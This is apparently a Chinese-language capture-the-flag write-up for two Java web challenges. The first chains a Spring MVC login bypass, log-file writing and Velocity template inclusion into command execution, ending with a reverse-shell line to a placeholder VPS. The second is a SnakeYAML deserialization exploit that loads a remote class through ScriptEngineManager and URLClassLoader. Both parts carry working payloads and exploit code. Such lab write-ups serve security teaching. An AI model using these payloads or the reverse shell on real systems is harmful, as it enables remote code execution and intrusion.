Web1:logiclogic

首先访问主页面,发现为空,拿到源码进行审计,是基于Spring MVC架构的,dispatcher先将用户请求根据路由交给 对应的控制器进行处理,大致看一下代码,以welcome控制器为例:

  1. @RequestMapping("/welcome") //声明路径/welcome会映射到该方法上
  2. public String welcome(HttpServletRequest request, Map<String, Object> model) throws Exception {
  3. BizBean bizBean = new BizBean(request);
  4. if (!bizBean.isLogin()) { //判断是否登录,判断依据为login是否为true,需要登陆绕过逻辑
  5. throw new Exception("Login required");
  6. }
  7. String welcomeHeader = bizBean.get("welcomeHeader");
  8. if (!Util.isExist(welcomeHeader)) { //判断文件是否存在且是否具有打开权限,若为true则进行下一步操作
  9. throw new Exception("Page not exists");
  10. }
  11. Util.log(request, "WelcomeMessage:" + bizBean.get("welcomeMessage")); //将获取的welcomeMessage存入log文件中
  12. model.put("bizBean", bizBean);
  13. return "/templates/welcome";
  14. }

实例化BizBean类,里面是写的接下来会用到的各种方法,大致浏览一下:

  • BizBean构造方法将获取的request参数传入给每个方法:checkLogin,checkIp,initBizBean。

要使其登陆成功,就得将login的值赋为true;
image.png
首先跟进checkLogin看看,一开始看到这可能大家就开始对secret的值进行构造了,但仔细一看发现这是一个恒假的等式,因为md5里只会存在十六进制的字符,那么这条路已经走不通了。

  1. public void checkLogin(HttpServletRequest request){
  2. String secret = request.getParameter("secret");//这里的md5比较为假,md5值不可能出现G,十六进制
  3. if (secret != null && DigestUtils.md5DigestAsHex(secret.getBytes()).equals("5F4DCC3B5AA765D61D8327DEB882CFG9")) {
  4. this.put(LOGIN, "true");
  5. } else {
  6. this.put(LOGIN, "false");
  7. }
  8. }

换条思路看看其他两个方法:可以看到initBizBean方法:将获取到的请http求参数存入hashmap,如果http请求参数key与登录情况参数key同名,即在参数中指定login=true,可覆盖之前的登录情况,绕过登录逻辑。进入下一个if语句。

  1. public void initBizBean(HttpServletRequest request) { //获取request请求参数,若value长度为1,则将value值put给key,绕过登陆逻辑
  2. Map<String, String[]> paramMap = request.getParameterMap();
  3. for (String key : paramMap.keySet()) {
  4. String[] values = paramMap.get(key);
  5. if (values.length == 1) {
  6. this.put(key, values[0]);
  7. } else {
  8. String result = "";
  9. for (String s : values) {
  10. result = result + s;
  11. }
  12. this.put(key, result);
  13. }
  14. }
  15. }

然后将获取到的welcomeHeader参数传入Util.isExist方法进行判断,判断文件是否存在等(

  1. public static boolean isExist(String page) {
  2. if (page != null && page.endsWith(".vm")) {
  3. try { //传入的page是参数welcomeHeader,此参数收到isExist方法的限制,所以虽然welcome.vm中的参数parse可控,但是不能去包含log文件,所以这里只好利用show.vm文件的showHeader参数,由于此处路由不通过/show所以不会收到isExist方法的限制,再通过showHeader参数可控去包含log文件getshell
  4. File pageFile = new File(velocityPath + "/" + page);
  5. if (pageFile.exists() && pageFile.getCanonicalPath().startsWith(velocityPath)) {
  6. return true;
  7. }
  8. } catch (Exception e) {
  9. return false;
  10. }
  11. }
  12. return false;
  13. }

先不管他想干什么反正需要让isExist方法返回true就行,那就得让welcomeHeader文件存在且文件得以.vm后缀结尾,再继续跟进下面的Util.log方法。

  1. public static void log(HttpServletRequest request, String log) { //很明显本题通过此处进行log文件写入然后利用velocity文件进行包含
  2. String filename = DigestUtils.md5DigestAsHex(request.getRequestedSessionId().getBytes()); //文件名是JessionID的md5编码--
  3. String filePath = velocityPath + "/logs/" + filename + ".log";
  4. if(!new File(velocityPath + "/logs/").exists()){
  5. new File(velocityPath + "/logs/").mkdir();
  6. }
  7. try {
  8. FileOutputStream fos = new FileOutputStream(filePath, true);
  9. fos.write(log.getBytes());
  10. fos.close();
  11. } catch (Exception e) {
  12. e.printStackTrace();
  13. }
  14. }

可以看到这个log方法就是将我们传入的welcomeMessage参数,传入我们可以控制的log文件中,就相当于任意文件写入。
Velocity文件包含:welcome.vm

  1. #parse($bizBean.get("welcomeHeader"))
  2. <body>
  3. <span>Welcome, $bizBean.get("welcomeMessage")</span>
  4. </body>

show.vm

  1. #parse($bizBean.get("showHeader"))
  2. <body>
  3. <span>lalala</span>
  4. </body>
  5. </html>

Java Velocity中#parse用于导入脚本,会将引用的内容当成类似于源码文件,会将内容在引入的地方进行解析。

可以看到获取到bizBean变量的参数welcomeHeader的值,这里就可以进行log文件包含,但是我们的welcomeHeader必须经过isExist方法的检测,那后缀肯定不能为.log,此时只好利用去包含show.vm文件,利用此文件的参数showHeader参数(由于此参数没有经过show路由所以不会被检测)那就么完全可控。
payload:

  1. /welcome?login=true&welcomeHeader=templates/show.vm&showHeader=/logs/04ecce85f47679ebe439b3312577a8b8.log&welcomeMessage=%24%62%69%7a%42%65%61%6e%2e%63%6c%61%73%73%2e%63%6c%61%73%73%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%4d%65%74%68%6f%64%28%27%67%65%74%52%75%6e%74%69%6d%65%27%2c%20%6e%75%6c%6c%29%2e%69%6e%76%6f%6b%65%28%6e%75%6c%6c%2c%20%6e%75%6c%6c%29%2e%65%78%65%63%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%63%74%66%2e%73%75%63%63%65%73%73%22%29

Velocity执行命令模板:

  1. $bizBean.class.class.forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec("touch /tmp/ctf.success")

反弹shell:

  1. $bizBean.class.class.forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/VPS-IP/VPS-PORT<&1")

Web2

easyyaml

考点:yaml.loads在目标类被指定导致反序列化、

将对象属性以文本的形式存储都被称为序列化。

welcome@Controller

  1. @Controller
  2. public class WelcomeController {
  3. @Value("${application.message:Hello World}")
  4. private String message = "Hello World";
  5. @RequestMapping("/")
  6. public String welcome(Map<String, Object> model, HttpServletRequest request) {
  7. Yaml yaml = new Yaml();
  8. User user= yaml.loadAs(request.getParameter("user"),User.class);
  9. model.put("time", new Date());
  10. model.put("message", this.message);
  11. model.put("user",user);
  12. return "welcome";
  13. }
  14. }

这里的参数user可控,且user类中存在Object对象,可以反序列化任意类。
User.java:

  1. package com.ctf.velocity.Bean;
  2. import java.io.IOException;
  3. import java.util.ArrayList;
  4. public class User {
  5. public String username;
  6. public String age;
  7. public boolean isLogin;
  8. public ArrayList priviledges;
  9. public Address address; //这里address变量的类型是Address,Address里存在ext是Obkject类型的。
  10. public int group;
  11. }

Address.java

  1. package com.ctf.velocity.Bean;
  2. public class Address {
  3. public String postCode;
  4. public String street;
  5. public Object ext;
  6. public boolean isValid;
  7. }

exp:

  1. package com.ctf.velocity;
  2. import com.ctf.velocity.Bean.Address;
  3. import com.ctf.velocity.Bean.User;
  4. import org.yaml.snakeyaml.Yaml;
  5. import org.yaml.snakeyaml.nodes.Tag;
  6. import java.net.MalformedURLException;
  7. import java.net.URL;
  8. public class test {
  9. public static void main(String[] args) throws MalformedURLException {
  10. User user = new User();
  11. Yaml yaml = new Yaml();
  12. Address adrr = new Address();
  13. URL url = new URL("http://127.0.0.1:9999/");
  14. adrr.ext = new javax.script.ScriptEngineManager( new java.net.URLClassLoader(new URL[] {url}));
  15. user.address = adrr;
  16. String a = yaml.dumpAs(user, Tag.MAP,null);
  17. // System.out.println(yaml.dumpAs(user, Tag.MAP, null));
  18. System.out.println(a);
  19. }
  20. }

image.png
这里需要将要调用的UrlClassLoader等手动添加到payload。
payload:

  1. !!com.ctf.velocity.Bean.User
  2. address: {ext: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/"]]]], isValid: false, postCode: dfs, street: null}
  3. age: null
  4. group: 0
  5. isLogin: false
  6. priviledges: null
  7. username: null